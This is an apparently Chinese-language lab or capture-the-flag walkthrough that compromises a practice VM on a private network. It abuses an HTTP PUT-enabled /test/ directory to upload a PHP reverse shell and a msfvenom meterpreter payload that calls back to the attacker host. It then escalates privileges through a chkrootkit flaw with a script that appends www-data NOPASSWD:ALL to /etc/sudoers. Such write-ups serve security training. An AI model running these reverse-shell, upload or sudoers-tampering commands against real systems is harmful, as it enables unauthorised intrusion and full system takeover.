主机:192.168.136.133
靶机:192.168.136.140
用namp扫描靶机地址
发现开放80、22端口,用dirb、nikto扫描,没有发现可用的漏洞,扫描只有一个网址可以进入http://192.168.136.140/test/
测试一下是否存在PUT漏洞,发现有put漏洞
发现存在PUT方法
用 /usr/share/webshells/php 目录下php-reverse-shell.php,上传上去
火狐的RESTClient可用,可以PUT,但不能直接传文件,但可以选择类型,把生成的reverse_shell代码复制进去上传
监听端口,反弹shell(注:换成其他高位端口不能监听成功,防火墙过滤掉了)
优化终端python -c “import pty;pty.spawn(’/bin/bash’)”
构造payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.133 LPORT=443 > shell_443.php
将shell_55555上传到靶机的test目录下;
curl -v -H “Expect:” -T shell_443.php http://192.168.136.140/test/
在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听,然后放到后台
设置参数
访问shell_443.php
即可触发服务器端反弹TCP的操作, 在msfconsole里就会得到一个meterpreter的shell。
在meterpreter中用shell命令来得到一个交互式的shell,但是并没有tty,需要用python生成一个bash。
python -c ‘import pty;pty.spawn("/bin/bash")’
查看靶机服务器和版本信息;
扫描版本的漏洞
利用这个/usr/share/exploitdb/exploits/linux/local/38775.rb
可以看到chkrootkit存在本地提权漏洞
第一种添加当前用户www-data到sudoers列表中
新建一个文件update
给文件添加执行权限
添加当前用户www-data到sudoers列表中;
echo ‘chmod +w /etc/sudoers && echo “www-data ALL=(ALL)NOPASSWD:ALL” >> /etc/sudoers’ > /tmp/update